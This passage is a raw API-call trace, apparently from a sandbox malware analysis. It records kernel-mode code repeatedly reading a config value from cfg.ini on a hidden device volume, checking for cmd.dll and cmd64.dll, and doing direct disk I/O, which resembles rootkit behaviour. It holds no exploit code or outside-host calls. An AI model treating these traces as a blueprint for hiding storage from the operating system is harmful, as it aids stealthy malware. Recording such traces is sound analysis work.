_Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.372] KeEnterCriticalRegion () [0125.372] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.372] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0125.372] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf6870, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.372] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.372] KeLeaveCriticalRegion () [0125.372] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.372] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.372] KeEnterCriticalRegion () [0125.372] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.372] ExFreePoolWithTag (P=0xfffffa8003bf6550, Tag=0x0) [0125.372] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.372] KeLeaveCriticalRegion () [0125.372] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.372] ReleaseMutex (hMutex=0xf0) returned 1 [0125.372] Sleep (dwMilliseconds=0x124f80) [0125.386] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.386] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0125.386] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.386] KeEnterCriticalRegion () [0125.386] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.386] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.386] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.386] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.386] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0125.386] IdePortDispatch () returned 0x103 [0125.387] KeWaitForMutexObject () returned 0x0 [0125.387] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.387] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.387] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.387] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.387] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.387] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf7bf0 [0125.387] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.387] KeLeaveCriticalRegion () [0125.387] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.387] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.387] KeEnterCriticalRegion () [0125.387] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.387] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.387] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.387] KeLeaveCriticalRegion () [0125.387] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.387] KeEnterCriticalRegion () [0125.387] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.387] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.387] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.387] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.387] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0125.387] IdePortDispatch () returned 0x103 [0125.387] KeWaitForMutexObject () returned 0x0 [0125.387] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.387] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.387] KeLeaveCriticalRegion () [0125.387] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.387] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.387] KeEnterCriticalRegion () [0125.387] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.387] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c43000 [0125.387] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.388] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.388] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.388] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0125.388] IdePortDispatch () returned 0x103 [0125.388] KeWaitForMutexObject () returned 0x0 [0125.388] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.388] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.388] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.388] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.388] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0125.388] IdePortDispatch () returned 0x103 [0125.388] KeWaitForMutexObject () returned 0x0 [0125.388] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.388] KeLeaveCriticalRegion () [0125.388] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.389] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.389] KeEnterCriticalRegion () [0125.389] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.389] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.389] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.389] KeLeaveCriticalRegion () [0125.389] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.389] KeEnterCriticalRegion () [0125.389] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.389] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0125.389] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf77d0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.389] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.389] KeLeaveCriticalRegion () [0125.389] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.389] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.389] KeEnterCriticalRegion () [0125.389] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.389] ExFreePoolWithTag (P=0xfffffa8003bf7bf0, Tag=0x0) [0125.389] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.389] KeLeaveCriticalRegion () [0125.389] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.389] ReleaseMutex (hMutex=0xf0) returned 1 [0125.389] Sleep (dwMilliseconds=0x124f80) [0125.402] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.402] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0125.402] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.403] KeEnterCriticalRegion () [0125.403] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.403] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.403] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.403] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.403] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0125.403] IdePortDispatch () returned 0x103 [0125.403] KeWaitForMutexObject () returned 0x0 [0125.403] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.403] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.403] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.403] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.403] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.403] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf7fb0 [0125.403] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.403] KeLeaveCriticalRegion () [0125.403] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.403] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.403] KeEnterCriticalRegion () [0125.403] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.403] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.403] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.403] KeLeaveCriticalRegion () [0125.403] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.403] KeEnterCriticalRegion () [0125.403] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.403] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.403] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.403] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.403] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0125.403] IdePortDispatch () returned 0x103 [0125.403] KeWaitForMutexObject () returned 0x0 [0125.404] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.404] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.404] KeLeaveCriticalRegion () [0125.404] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.404] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.404] KeEnterCriticalRegion () [0125.404] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.404] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c48000 [0125.404] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.404] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.404] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.404] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0125.404] IdePortDispatch () returned 0x103 [0125.405] KeWaitForMutexObject () returned 0x0 [0125.405] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.405] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.405] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.405] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.405] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0125.405] IdePortDispatch () returned 0x103 [0125.405] KeWaitForMutexObject () returned 0x0 [0125.406] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.406] KeLeaveCriticalRegion () [0125.406] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.406] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.406] KeEnterCriticalRegion () [0125.406] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.406] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.406] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.406] KeLeaveCriticalRegion () [0125.406] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.406] KeEnterCriticalRegion () [0125.406] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.406] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0125.406] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf6870, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.406] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.406] KeLeaveCriticalRegion () [0125.406] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.406] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.406] KeEnterCriticalRegion () [0125.406] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.406] ExFreePoolWithTag (P=0xfffffa8003bf7fb0, Tag=0x0) [0125.406] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.406] KeLeaveCriticalRegion () [0125.406] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.406] ReleaseMutex (hMutex=0xf0) returned 1 [0125.406] Sleep (dwMilliseconds=0x124f80) [0125.409] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.413] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0125.413] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.413] KeEnterCriticalRegion () [0125.413] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.413] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.413] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.413] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.413] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0125.413] IdePortDispatch () returned 0x103 [0125.413] KeWaitForMutexObject () returned 0x0 [0125.413] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.413] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.413] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.413] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.413] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.413] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf7b50 [0125.413] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.413] KeLeaveCriticalRegion () [0125.413] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.413] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.414] KeEnterCriticalRegion () [0125.414] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.414] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.414] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.414] KeLeaveCriticalRegion () [0125.414] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.414] KeEnterCriticalRegion () [0125.414] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.414] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.414] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.414] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.414] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0125.414] IdePortDispatch () returned 0x103 [0125.414] KeWaitForMutexObject () returned 0x0 [0125.414] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.414] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.414] KeLeaveCriticalRegion () [0125.414] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.414] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.414] KeEnterCriticalRegion () [0125.414] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.414] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c4b000 [0125.414] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.414] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.414] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.414] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0125.414] IdePortDispatch () returned 0x103 [0125.414] KeWaitForMutexObject () returned 0x0 [0125.414] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.415] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.415] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.415] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.415] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0125.415] IdePortDispatch () returned 0x103 [0125.415] KeWaitForMutexObject () returned 0x0 [0125.415] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.415] KeLeaveCriticalRegion () [0125.415] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.415] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.415] KeEnterCriticalRegion () [0125.415] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.415] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.415] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.415] KeLeaveCriticalRegion () [0125.415] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.415] KeEnterCriticalRegion () [0125.415] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.415] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0125.415] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf77d0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.415] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.416] KeLeaveCriticalRegion () [0125.416] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.416] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.416] KeEnterCriticalRegion () [0125.416] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.416] ExFreePoolWithTag (P=0xfffffa8003bf7b50, Tag=0x0) [0125.416] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.416] KeLeaveCriticalRegion () [0125.416] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.416] ReleaseMutex (hMutex=0xf0) returned 1 [0125.416] Sleep (dwMilliseconds=0x124f80) [0125.426] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.426] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0125.426] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.426] KeEnterCriticalRegion () [0125.426] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.426] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.426] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.426] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.426] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0125.426] IdePortDispatch () returned 0x103 [0125.427] KeWaitForMutexObject () returned 0x0 [0125.427] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.427] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.427] _strnicmp (_Str1="cmd64.dll", 